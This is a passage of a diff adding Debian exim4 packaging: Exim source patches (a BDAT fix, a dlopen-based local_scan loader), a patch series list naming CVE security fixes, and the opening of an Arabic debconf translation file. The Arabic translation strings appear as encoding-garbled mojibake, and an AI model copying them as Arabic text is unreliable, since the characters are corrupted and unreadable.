+- if (override_pid_file_path)
+- (void)child_exec_exim(CEE_EXEC_PANIC, FALSE, NULL, FALSE, 3,
+- "-oP", override_pid_file_path, "-oPX");
+- else
+- (void)child_exec_exim(CEE_EXEC_PANIC, FALSE, NULL, FALSE, 1, "-oPX");
+-
+- /* Control never returns here. */
+- }
+- if (pid > 0)
+- child_close(pid, 1);
+- }
+-exim_exit(EXIT_SUCCESS, US"");
+-}
+-
+-
+
+ /*************************************************
+ * Exim Daemon Mainline *
+--
+2.30.2
+
diff --git a/debian/patches/84_29-Fix-BDAT-issue-for-body-w-o-trailing-CRLF-again-Bug-.patch b/debian/patches/84_29-Fix-BDAT-issue-for-body-w-o-trailing-CRLF-again-Bug-.patch
new file mode 100644
index 0000000..f5965ab
--- /dev/null
+++ b/debian/patches/84_29-Fix-BDAT-issue-for-body-w-o-trailing-CRLF-again-Bug-.patch
@@ -0,0 +1,26 @@
+From 5220dc30120bd79319d465bd7a6e4b21a0881f9a Mon Sep 17 00:00:00 2001
+From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de>
+Date: Fri, 30 Apr 2021 10:47:45 +0200
+Subject: [PATCH 29/29] Fix BDAT issue for body w/o trailing CRLF (again Bug
+ 1974)
+
+(cherry picked from commit 919111edac911ba9c15422eafd7c5bf14d416d26)
+---
+ src/smtp_in.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/smtp_in.c b/src/smtp_in.c
+index 016c44c0f..76784c15f 100644
+--- a/src/smtp_in.c
++++ b/src/smtp_in.c
+@@ -854,6 +854,7 @@ int
+ bdat_ungetc(int ch)
+ {
+ chunking_data_left++;
++bdat_push_receive_functions(); /* we're not done yet, calling push is safe, because it checks the state before pushing anything */
+ return lwr_receive_ungetc(ch);
+ }
+
+--
+2.30.2
+
diff --git a/debian/patches/90_localscan_dlopen.dpatch b/debian/patches/90_localscan_dlopen.dpatch
new file mode 100644
index 0000000..ce71bae
--- /dev/null
+++ b/debian/patches/90_localscan_dlopen.dpatch
@@ -0,0 +1,281 @@
+Description: Allow one to use and switch between different local_scan functions
+ without recompiling exim.
+ http://marc.merlins.org/linux/exim/files/sa-exim-current/ Original patch from
+ David Woodhouse, modified first by Derrick 'dman' Hudson and then by Marc
+ MERLIN for SA-Exim and minor/major API version tracking
+Author: David Woodhouse, Derrick 'dman' Hudson, Marc MERLIN
+Origin: other, http://marc.merlins.org/linux/exim/files/sa-exim-current/
+Forwarded: no
+Last-Update: 2018-12-12
+
+--- a/src/EDITME
++++ b/src/EDITME
+@@ -824,6 +824,21 @@ HEADERS_CHARSET="ISO-8859-1"
+
+
+ #------------------------------------------------------------------------------
++# On systems which support dynamic loading of shared libraries, Exim can
++# load a local_scan function specified in its config file instead of having
++# to be recompiled with the desired local_scan function. For a full
++# description of the API to this function, see the Exim specification.
++
++DLOPEN_LOCAL_SCAN=yes
++
++# If you set DLOPEN_LOCAL_SCAN, then you need to include -rdynamic in the
++# linker flags. Without it, the loaded .so won't be able to access any
++# functions from exim.
++
++LDFLAGS += -rdynamic
++CFLAGS += -fvisibility=hidden
++
++#------------------------------------------------------------------------------
+ # The default distribution of Exim contains only the plain text form of the
+ # documentation. Other forms are available separately. If you want to install
+ # the documentation in "info" format, first fetch the Texinfo documentation
+--- a/src/config.h.defaults
++++ b/src/config.h.defaults
+@@ -32,6 +32,8 @@ Do not put spaces between # and the 'def
+
+ #define AUTH_VARS 3
+
++#define DLOPEN_LOCAL_SCAN
++
+ #define BIN_DIRECTORY
+
+ #define CONFIGURE_FILE
+--- a/src/globals.c
++++ b/src/globals.c
+@@ -141,6 +141,10 @@ int dsn_ret = 0;
+ const pcre *regex_DSN = NULL;
+ uschar *dsn_advertise_hosts = NULL;
+
++#ifdef DLOPEN_LOCAL_SCAN
++uschar *local_scan_path = NULL;
++#endif
++
+ #ifdef SUPPORT_TLS
+ BOOL gnutls_compat_mode = FALSE;
+ BOOL gnutls_allow_auto_pkcs11 = FALSE;
+--- a/src/globals.h
++++ b/src/globals.h
+@@ -138,6 +138,9 @@ extern int dsn_ret; /
+ extern const pcre *regex_DSN; /* For recognizing DSN settings */
+ extern uschar *dsn_advertise_hosts; /* host for which TLS is advertised */
+
++#ifdef DLOPEN_LOCAL_SCAN
++extern uschar *local_scan_path; /* Path to local_scan() library */
++#endif
+ /* Input-reading functions for messages, so we can use special ones for
+ incoming TCP/IP. */
+
+--- a/src/local_scan.c
++++ b/src/local_scan.c
+@@ -5,61 +5,131 @@
+ /* Copyright (c) University of Cambridge 1995 - 2009 */
+ /* See the file NOTICE for conditions of use and distribution. */
+
++#include "exim.h"
+
+-/******************************************************************************
+-This file contains a template local_scan() function that just returns ACCEPT.
+-If you want to implement your own version, you should copy this file to, say
+-Local/local_scan.c, and edit the copy. To use your version instead of the
+-default, you must set
+-
+-HAVE_LOCAL_SCAN=yes
+-LOCAL_SCAN_SOURCE=Local/local_scan.c
+-
+-in your Local/Makefile. This makes it easy to copy your version for use with
+-subsequent Exim releases.
+-
+-For a full description of the API to this function, see the Exim specification.
+-******************************************************************************/
+-
+-
+-/* This is the only Exim header that you should include. The effect of
+-including any other Exim header is not defined, and may change from release to
+-release. Use only the documented interface! */
+-
+-#include "local_scan.h"
+-
+-
+-/* This is a "do-nothing" version of a local_scan() function. The arguments
+-are:
+-
+- fd The file descriptor of the open -D file, which contains the
+- body of the message. The file is open for reading and
+- writing, but modifying it is dangerous and not recommended.
+-
+- return_text A pointer to an unsigned char* variable which you can set in
+- order to return a text string. It is initialized to NULL.
+-
+-The return values of this function are:
+-
+- LOCAL_SCAN_ACCEPT
+- The message is to be accepted. The return_text argument is
+- saved in $local_scan_data.
+-
+- LOCAL_SCAN_REJECT
+- The message is to be rejected. The returned text is used
+- in the rejection message.
+-
+- LOCAL_SCAN_TEMPREJECT
+- This specifies a temporary rejection. The returned text
+- is used in the rejection message.
+-*/
++#ifdef DLOPEN_LOCAL_SCAN
++#include <dlfcn.h>
++static int (*local_scan_fn)(int fd, uschar **return_text) = NULL;
++static int load_local_scan_library(void);
++#endif
+
+ int
+ local_scan(int fd, uschar **return_text)
+ {
+ fd = fd; /* Keep picky compilers happy */
+ return_text = return_text;
+-return LOCAL_SCAN_ACCEPT;
++#ifdef DLOPEN_LOCAL_SCAN
++/* local_scan_path is defined AND not the empty string */
++if (local_scan_path && *local_scan_path)
++ {
++ if (!local_scan_fn)
++ {
++ if (!load_local_scan_library())
++ {
++ char *base_msg , *error_msg , *final_msg ;
++ int final_length = -1 ;
++
++ base_msg=US"Local configuration error - local_scan() library failure\n";
++ error_msg = dlerror() ;
++
++ final_length = strlen(base_msg) + strlen(error_msg) + 1 ;
++ final_msg = (char*)malloc( final_length*sizeof(char) ) ;
++ *final_msg = '\0' ;
++
++ strcat( final_msg , base_msg ) ;
++ strcat( final_msg , error_msg ) ;
++
++ *return_text = final_msg ;
++ return LOCAL_SCAN_TEMPREJECT;
++ }
++ }
++ return local_scan_fn(fd, return_text);
++ }
++else
++#endif
++ return LOCAL_SCAN_ACCEPT;
++}
++
++#ifdef DLOPEN_LOCAL_SCAN
++
++static int load_local_scan_library(void)
++{
++/* No point in keeping local_scan_lib since we'll never dlclose() anyway */
++void *local_scan_lib = NULL;
++int (*local_scan_version_fn)(void);
++int vers_maj;
++int vers_min;
++
++local_scan_lib = dlopen(local_scan_path, RTLD_NOW);
++if (!local_scan_lib)
++ {
++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library open failed - "
++ "message temporarily rejected");
++ return FALSE;
++ }
++
++local_scan_version_fn = dlsym(local_scan_lib, "local_scan_version_major");
++if (!local_scan_version_fn)
++ {
++ dlclose(local_scan_lib);
++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library doesn't contain "
++ "local_scan_version_major() function - message temporarily rejected");
++ return FALSE;
++ }
++
++/* The major number is increased when the ABI is changed in a non
++ backward compatible way. */
++vers_maj = local_scan_version_fn();
++
++local_scan_version_fn = dlsym(local_scan_lib, "local_scan_version_minor");
++if (!local_scan_version_fn)
++ {
++ dlclose(local_scan_lib);
++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library doesn't contain "
++ "local_scan_version_minor() function - message temporarily rejected");
++ return FALSE;
++ }
++
++/* The minor number is increased each time a new feature is added (in a
++ way that doesn't break backward compatibility) -- Marc */
++vers_min = local_scan_version_fn();
++
++
++if (vers_maj != LOCAL_SCAN_ABI_VERSION_MAJOR)
++ {
++ dlclose(local_scan_lib);
++ local_scan_lib = NULL;
++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() has an incompatible major"
++ "version number, you need to recompile your module for this version"
++ "of exim (The module was compiled for version %d.%d and this exim provides"
++ "ABI version %d.%d)", vers_maj, vers_min, LOCAL_SCAN_ABI_VERSION_MAJOR,
++ LOCAL_SCAN_ABI_VERSION_MINOR);
++ return FALSE;
++ }
++else if (vers_min > LOCAL_SCAN_ABI_VERSION_MINOR)
++ {
++ dlclose(local_scan_lib);
++ local_scan_lib = NULL;
++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() has an incompatible minor"
++ "version number, you need to recompile your module for this version"
++ "of exim (The module was compiled for version %d.%d and this exim provides"
++ "ABI version %d.%d)", vers_maj, vers_min, LOCAL_SCAN_ABI_VERSION_MAJOR,
++ LOCAL_SCAN_ABI_VERSION_MINOR);
++ return FALSE;
++ }
++
++local_scan_fn = dlsym(local_scan_lib, "local_scan");
++if (!local_scan_fn)
++ {
++ dlclose(local_scan_lib);
++ log_write(0, LOG_MAIN|LOG_REJECT, "local_scan() library doesn't contain "
++ "local_scan() function - message temporarily rejected");
++ return FALSE;
++ }
++
++return TRUE;
+ }
+
++#endif /* DLOPEN_LOCAL_SCAN */
++
+ /* End of local_scan.c */
+--- a/src/local_scan.h
++++ b/src/local_scan.h
+@@ -17,6 +17,7 @@ settings, and the store functions. */
+
+ #include <stdarg.h>
+ #include <sys/types.h>
++#pragma GCC visibility push(default)
+ #include "config.h"
+ #include "mytypes.h"
+ #include "store.h"
+@@ -192,4 +193,6 @@ extern uschar *string_copy(const uschar
+ extern uschar *string_copyn(const uschar *, int);
+ extern uschar *string_sprintf(const char *, ...) ALMOST_PRINTF(1,2);
+
++#pragma GCC visibility pop
++
+ /* End of local_scan.h */
+--- a/src/readconf.c
++++ b/src/readconf.c
+@@ -199,6 +199,9 @@ static optionlist optionlist_config[] =
+ { "local_from_prefix", opt_stringptr, &local_from_prefix },
+ { "local_from_suffix", opt_stringptr, &local_from_suffix },
+ { "local_interfaces", opt_stringptr, &local_interfaces },
++#ifdef DLOPEN_LOCAL_SCAN
++ { "local_scan_path", opt_stringptr, &local_scan_path },
++#endif
+ #ifdef HAVE_LOCAL_SCAN
+ { "local_scan_timeout", opt_time, &local_scan_timeout },
+ #endif
diff --git a/debian/patches/series b/debian/patches/series
new file mode 100644
index 0000000..e448ccf
--- /dev/null
+++ b/debian/patches/series
@@ -0,0 +1,60 @@
+31_eximmanpage.dpatch
+32_exim4.dpatch
+33_eximon.binary.dpatch
+34_eximstatsmanpage.dpatch
+35_install.dpatch
+60_convert4r4.dpatch
+67_unnecessaryCopt.diff
+70_remove_exim-users_references.dpatch
+75_01-Fix-json-extract-operator-for-unfound-case.patch
+75_02-Fix-transport-buffer-size-handling.patch
+75_03-Fix-info-on-using-local_scan-in-the-default-Makefile.patch
+75_04-GnuTLS-Fix-client-detection-of-server-reject-of-clie.patch
+75_05-Fix-expansions-for-RFC-822-addresses-having-comments.patch
+75_06-Docs-Add-note-on-lsearch-for-IPv4-mapped-IPv6-addres.patch
+75_07-Fix-crash-from-SRV-lookup-hitting-a-CNAME.patch
+75_08-Logging-fix-initial-listening-on-log-line.patch
+75_09-OpenSSL-Fix-aggregation-of-messages.patch
+75_10-Harden-plaintext-authenticator.patch
+75_11-GnuTLS-fix-tls_out_ocsp-under-hosts_request_ocsp.patch
+75_12-GnuTLS-fix-the-advertising-of-acceptable-certs-by-th.patch
+75_13-Use-dsn_from-for-success-DSN-messages.-Bug-2404.patch
+75_14-Fix-smtp-response-timeout.patch
+75_15-Fix-detection-of-32b-platform-at-build-time.-Bug-240.patch
+77_Avoid-re-expansion-in-sort-CVE-2019-13917-OVE-201907.patch
+78_01-string.c-do-not-interpret-before-0-CVE-2019-15846.patch
+78_02-Fix-buffer-overflow-in-string_vformat.-Bug-2449.patch
+79_01-Fix-SPA-authenticator-checking-client-supplied-data-.patch
+79_02-Rework-SPA-fix-to-avoid-overflows.-Bug-2571.patch
+80_01-GnuTLS-fix-hanging-callout-connections.patch
+80_02-GnuTLS-tls_write-wait-after-uncorking-the-session.patch
+80_03-GnuTLS-Do-not-care-about-corked-data-when-uncorking.patch
+82_TLS-use-RFC-6125-rules-for-certifucate-name-checks-w.patch
+84_01-CVE-2020-28025-Heap-out-of-bounds-read-in-pdkim_fini.patch
+84_02-CVE-2020-28018-Use-after-free-in-tls-openssl.c.patch
+84_03-CVE-2020-28023-Out-of-bounds-read-in-smtp_setup_msg.patch
+84_04-CVE-2020-28010-Heap-out-of-bounds-write-in-main.patch
+84_05-CVE-2020-28011-Heap-buffer-overflow-in-queue_run.patch
+84_06-CVE-2020-28013-Heap-buffer-overflow-in-parse_fix_phr.patch
+84_07-Security-Refuse-negative-and-large-store-allocations.patch
+84_08-CVE-2020-28017-Integer-overflow-in-receive_add_recip.patch
+84_09-CVE-2020-28022-Heap-out-of-bounds-read-and-write-in-.patch
+84_10-CVE-2020-28026-Line-truncation-and-injection-in-spoo.patch
+84_11-CVE-2020-28015-28021-New-line-injection-into-spool-h.patch
+84_12-CVE-2020-28009-Integer-overflow-in-get_stdinput.patch
+84_13-CVE-2020-28024-Heap-buffer-underflow-in-smtp_ungetc.patch
+84_14-CVE-2020-28012-Missing-close-on-exec-flag-for-privil.patch
+84_15-Security-Safeguard-against-relative-names-for-msglog.patch
+84_16-Security-Check-overrun-rcpt_count-integer.patch
+84_17-Security-Always-exit-when-LOG_PANIC_DIE-is-set.patch
+84_18-Security-Fix-off-by-one-in-smtp-transport-read-respo.patch
+84_19-Security-Avoid-decrement-of-dkim_collect_input-if-al.patch
+84_20-Security-Leave-a-clean-smtp_out-input-buffer-even-in.patch
+84_21-Security-Avoid-modification-of-constant-data-in-dkim.patch
+84_22-CVE-2020-28019-Failure-to-reset-function-pointer-aft.patch
+84_23-CVE-2020-28007-Link-attack-in-Exim-s-log-directory.patch
+84_24-CVE-2020-28008-Assorted-attacks-in-Exim-s-spool-dire.patch
+84_26-CVE-2020-28014-CVE-2021-27216-Arbitrary-PID-file-cre.patch
+84_27-testsuite-adjustments-for-CVE-2020-28014-CVE-2021-27.patch
+84_29-Fix-BDAT-issue-for-body-w-o-trailing-CRLF-again-Bug-.patch
+90_localscan_dlopen.dpatch
diff --git a/debian/po/POTFILES.in b/debian/po/POTFILES.in
new file mode 100644
index 0000000..06d5872
--- /dev/null
+++ b/debian/po/POTFILES.in
@@ -0,0 +1,5 @@
+[type: gettext/rfc822deb] exim4-base.templates
+[type: gettext/rfc822deb] exim4-config.templates
+[type: gettext/rfc822deb] exim4-daemon-heavy.templates
+[type: gettext/rfc822deb] exim4-daemon-light.templates
+[type: gettext/rfc822deb] exim4.templates
diff --git a/debian/po/ar.po b/debian/po/ar.po
new file mode 100644
index 0000000..5fb0c23
--- /dev/null
+++ b/debian/po/ar.po
@@ -0,0 +1,627 @@
+# translation of exim-ar.po to Arabic
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+# Developers do not need to manually edit POT or PO files.
+#
+# Abdulaziz Al-Arfaj <alarfaj0@yahoo.com>, 2004, 2005.
+# Ossama M. Khayat <okhayat@yahoo.com>, 2006, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim-ar\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-15 19:45+0300\n"
+"Last-Translator: Ossama M. Khayat <okhayat@yahoo.com>\n"
+"Language-Team: Arabic <support@arabeyes.org>\n"
+"Language: ar\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms: nplurals=4; plural=n==1 ? 0 : n==2 ? 1 : n>=3 && n<=10 ? 2 : "
+"3\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "هل تريد إزالة البريد الغير موصل ÙÙŠ مجلّد الصّÙØŸ"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"هناك بريدٌ ÙÙŠ مجلّد صÙÙ‘ Exim /var/spool/exim4/input لم يوصل بعد. ستتسبب إزالة "
+"Exim ببقاء هذه الرسائل دون ايصال حتى تتم إعادة تثبيت Exim."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"إن لم يتم اختيار هذا الخيار، Ùسيتم الإبقاء على دليل الصÙÙ‘ØŒ مما يسمح للرسائل "
+"بالوصول ÙÙŠ وقت لاحق بعد إعادة تثبيت Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "الرجاء إعادة تهيئة exim4-config بدلاً من هذه الحزمة."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"هناك حزمة مخصصة لتهيئة Exim4، والمسماة exim4-config. إن كنت تريد إعادة تهيئة "
+"Exim4، استخدم الأمر 'dpkg-reconfigure exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "موقع إنترنت؛ البريد ÙŠÙرسل Ùˆ ÙŠÙستلم مباشرةً باستخدام SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "البريد ÙŠÙرسل عبر المضي٠الذّكي (smarthost)Ø› ÙŠÙستلم عبر SMTP أو fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "البريد ÙŠÙرسل من smarthostØ› لا بريد محلّي"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "توصيل محلّي Ùقط؛ ليس على شبكة"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "لا إعداد حاليّاً"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "الÙئة العامّة لإعداد البريد:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "الرجاء اختيار نوع تهيئة خادم البريد التي تناسب حاجتك."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"الأنظمة ذات عناوين IP الديناميكيّة بما Ùيها أنظمة الطّلب الهاتÙÙŠØŒ ÙŠÙترض عموماً "
+"أن تعدّ لإرسال البريد الصادر لجهاز٠آخر يدعى \"المضي٠الذّكي\" 'smart "
+"host'للتوصيل لأن كثيراً من الأنظمة المستقبلة على الإنترنت ترÙض البريد الوارد "
+"من عناوين IP الديناميكيّة كطريقة للحماية من البريد الغير مرغوب."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"يستطيع النظام الذي له عنوان IP ديناميكي استقبال بريده الخاص، أو يمكن تعطيل "
+"التوصيل المحلي بالكامل (عدا البريد الخاص بالمستخدم root وpostmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "هل تريد Ùعلاً ترك نظام البريد دون إعداد؟"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"إلى أن تتمّ تهيئة نظامك البريدي Ùسو٠يكون معطوباً Ùˆ غير صالح٠للاستخدام. يمكنك "
+"بالطّبع إعداده لاحقاً إمّا يدويّاً أو بتنÙيذ الأمر 'dpkg- reconfigure exim4-"
+"config' كمستخدم root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "اسم بريد النّظام:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'اسم البريد' هو اسم النطاق المستخدم 'المكمل' لعناوين البريد التي لا تشمل اسم "
+"النطاق."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"سيستخدم هذا الاسم أيضاً من قبل البرامج الأخرى، والذي يجب أن يكون اسم النطاق "
+"المÙرد الكامل (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"مثلاً، إن كان عنوان بريدك هو foo@example.orgØŒ Ùتكون القيمة الصحيحة لهذا "
+"الخيار هي exmple.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"هذا الاسم لن يظهر على أسطر من: (From:) من البريد الصّادر إذا مكّنت إعادة "
+"الكتابة rewriting."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "الوجهات الأخرى التي ÙŠÙقبل البريد لها:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"الرجاء إدخال قائمة النطاقات المستقبÙلة، Ù…Ùصولة بÙواصل منقوطة، والتي يجب أن "
+"يعتبرها هذا الجهاز الوجهة الأخيرة له. وتىمي هذه النطاقات عادة 'بالنطاقات "
+"المحل' يضا٠اسم الجهاز هذا (${fqdn}) و 'localhost' دائماً إلى هذه القائمة."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"بطبيعة الحال، ستعامل جميع النطاقات بالمثل.Ùإن كان كل من a.example Ùˆb.example "
+"نطاقات محلية، Ùإن acc@a.example Ùˆacc@b.example ستوصل إلى Ù†Ùس الوجهة "
+"النهائية. وإن كان يجب التعامل مع أسماء النطاقات المختلÙØ© بشكل مختلÙØŒ Ùمن "
+"الضروري تحرير ملÙات التهيئة لاحقاً."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "النّطاقات التي يرحّل البريد لها:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"الرجاء إدخال لائحة بأسماء النطاقات المستقبÙلة، Ù…Ùصولة بÙواصل منقوطة (;) والتي "
+"سيقوم هذا النظام بتحويل البريد إليها، مثلاً كبوابة MX أو بريد بديلة. وهذا "
+"يعني أن هذا النظام سيستقبل البريد الخاص بهذه النطاقات والقادمة من أي مكان من "
+"الإنترنت ويقوم بتوصيلها ÙˆÙقاً لأحكام التوصيل المحلي."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"لا تقم بكتابة أسماء النطاقات المحلية هنا. يمكنك استخدام الأحر٠البديلة "
+"Wildcards."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "الأجهزة التي يرحّل البريد لها:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"الرجاء إدخال أسماء مجالات عناوين IP Ù…Ùصولة بÙواصل منقوطة، والمسموح تحويل "
+"البريد لها عبر هذا النظام باستخدامه كمضي٠ذكي smarthost."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"عليك باستخدام نسق العنوان/السابقة القياسي ل (مثلاً 194.222.242.0/24 أو "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"إن كان هذا النظام سيستخدم كمضي٠ذكي smarthost لأي مضي٠آخر، Ùاترك هذا Ùارغاً."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "اسم النّطاق المرئي للمستخدمين المحلّيّين:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"لقد تم تÙعيل خيار إخÙاء اسم البريد المحلي ÙÙŠ البريد الصادر. ولذلك من الضروري "
+"أن تقوم بتحديد اسم النطاق لهذا النظام والذي يجب أن يستخدمه كإسم للنطاق "
+"والمكمل لعناوين المستخدمين المرسلين المحليين."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "عنوان IP أو اسم المضي٠للبريد الصادر من المضي٠الذكي smarthost:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"الرجاء إدخال عنوان IP أو اسم المضي٠لخادم البريد الذي يجب أن يستخدمه هذا "
+"النظام كمضي٠ذكي smarthost للبريد الصادر. وإن كان المضي٠الذكي يستقبل بريدك "
+"Ùقط على منÙØ° غير TCP/25ØŒ Ùعليك بإضاÙØ© نقطتين ورقم المنÙØ° (على سبيل المثال "
+"smarthost.example::587 أو 192.168.254.254::2525). يجب مضاعÙØ© عدد أحر٠"
